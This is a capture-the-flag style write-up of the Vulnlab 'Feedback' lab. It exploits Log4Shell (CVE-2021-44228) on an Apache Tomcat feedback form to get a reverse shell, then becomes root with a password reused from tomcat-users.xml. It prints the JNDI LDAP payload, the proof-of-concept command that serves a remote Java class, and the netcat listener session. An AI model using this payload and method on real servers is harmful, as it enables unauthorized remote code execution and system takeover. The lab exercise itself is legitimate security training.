Vulnlab - Feedback

Introduction

This write-up details the exploitation of a vulnerable Apache Tomcat 9.0.56 server, where Log4Shell (CVE-2021-44228) is leveraged to achieve a remote shell. Privilege escalation to root is achieved using exposed credentials in the tomcat-users.xml file.

Nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 68:cd:2c:96:ec:fe:78:fa:c8:7c:d8:c4:2a:01:69:08 (RSA)
|   256 b4:1e:c6:69:1b:59:b6:be:d0:2e:1c:21:90:d1:d9:1e (ECDSA)
|_  256 63:1e:3a:1a:bc:a4:e3:4f:fe:39:fb:14:d3:6e:17:06 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.56
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.56

Enumeration

Using Feroxbuster for directory fuzzing, the following path was discovered: http://10.10.100.75:8080/feedback.

Log4Shell Discovery

Navigating to the feedback endpoint reveals a form with two input fields for submitting text. Testing the fields with Log4Shell payloads confirmed the system's vulnerability to CVE-2021-44228.

Exploitation

To exploit the Log4j vulnerability and obtain a reverse shell, we used the log4j-shell-poc tool.

└─$ python3 poc.py --userip 10.8.4.110 --webport 8080 --lport 8787

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.8.4.110:1389/a}

[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.8.4.110:8080/Exploit.class
10.10.100.75 - - [03/Dec/2024 22:00:38] "GET /Exploit.class HTTP/1.1" 200 -

Insert the payload into the vulnerable feedback form and on the listener set up with Netcat, a connection is received:

└─$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.8.4.110] from (UNKNOWN) [10.10.100.75] 48254
whoami
tomcat

Privilege Escalation

Within the tomcat user home directory, the tomcat-users.xml file revealed plaintext credentials:

tomcat@ip-10-10-10-7:~/conf$ cat tomcat-users.xml
...
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <user username="admin" password="H2RR3rGDrbAnPxWa" roles="manager-gui"/>
  <user username="robot" password="H2RR3rGDrbAnPxWa" roles="manager-script"/>

</tomcat-users>

Using the discovered password, we attempted to switch to the root user:

tomcat@ip-10-10-10-7:~/conf$ su root
Password: 
root@ip-10-10-10-7:/opt/tomcat/conf# id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-10-10-7:/opt/tomcat/conf# cd /root
root@ip-10-10-10-7:~# cat root.txt 
VL{CENSORED}